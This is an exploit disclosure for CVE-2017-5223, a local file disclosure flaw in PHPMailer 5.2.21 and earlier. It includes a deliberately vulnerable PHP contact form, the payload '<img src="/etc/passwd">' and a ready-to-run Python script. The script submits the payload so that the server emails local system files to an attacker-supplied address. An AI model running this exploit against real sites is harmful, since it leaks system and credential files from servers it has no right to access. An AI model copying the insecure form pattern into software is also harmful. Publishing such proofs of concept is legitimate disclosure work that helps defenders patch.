PHPMailer 5.2.21 Local File Disclosure

2017.10.26
Credit: Maciek Krupa
Risk: Medium
Local: No
Remote: Yes
CWE: N/A


CVSS Base Score: 2.1/10
Impact Subscore: 2.9/10
Exploitability Subscore: 3.9/10
Exploit range: Local
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

# Exploit Title: PHPMailer <= 5.2.21 - Local File Disclosure (CVE-2017-5223) # Date: 2017-10-25 # Exploit Author: Maciek Krupa # All credit only to Yongxiang Li of Asiasecurity # Software Link: https://github.com/PHPMailer/PHPMailer # Version: 5.2.21 # Tested on: Linux Debian 9 # CVE : CVE-2017-5223 // PoC // It requires a contact form that sends HTML emails and allows to send a copy to your e-mail // vulnerable form example // <?php require_once('class.phpmailer.php'); // PHPMailer <= 5.2.21 if (isset($_POST['your-name'], $_POST['your-email'], $_POST['your-message'])) { $mail = new PHPMailer(); $mail->SetFrom($_POST["your-email"], $_POST["your-name"]); $address = "admin@localhost"; $mail->AddAddress($address, "root"); if (isset($_POST['cc'])) $mail->AddCC($_POST["your-email"], $_POST["your-name"]); $mail->Subject = "PHPMailer <= 5.2.21 - Local File Disclosure (CVE-2017-5223)"; $mail->MsgHTML($_POST["your-message"]); if(!$mail->Send()) echo "Error: ".$mail->ErrorInfo; else echo "Sent!"; } ?> <form action="/contact.php" method="post"> <p><label>Your Name<br /><input type="text" name="your-name" value="" size="40" /></span> </label></p> <p><label>Your Email<br /><input type="email" name="your-email" value="" size="40" /></span> </label></p> <p><label>Your Message<br /><textarea name="your-message" cols="40" rows="10"></textarea></label></p> <p><input type="checkbox" name="cc" value="yes" /><span>Send me a copy of this message</span> <p><input type="submit" value="submit" /></p> // exploit // Put <img src="/etc/passwd"> in the message (or other file to disclose). // python code // #!/usr/bin/python import urllib import urllib2 poc = """ # Exploit Title: PHPMailer <= 5.2.21 - Local File Disclosure (CVE-2017-5223) # Date: 2017-10-25 # Exploit Author: Maciek Krupa # All credit only to Yongxiang Li of Asiasecurity # Software Link: https://github.com/PHPMailer/PHPMailer # Version: 5.2.21 # Tested on: Linux Debian 9 # CVE : CVE-2017-5223 """ url = 'http://localhost/contact.php' email = 'attacker@localhost' payload = '<img src="/etc/passwd"' values = {'action': 'send', 'your-name': 'Attacker', 'your-email': email, 'cc': 'yes', 'your-message': payload} data = urllib.urlencode(values) req = urllib2.Request(url, data) response = urllib2.urlopen(req) html = response.read() print html


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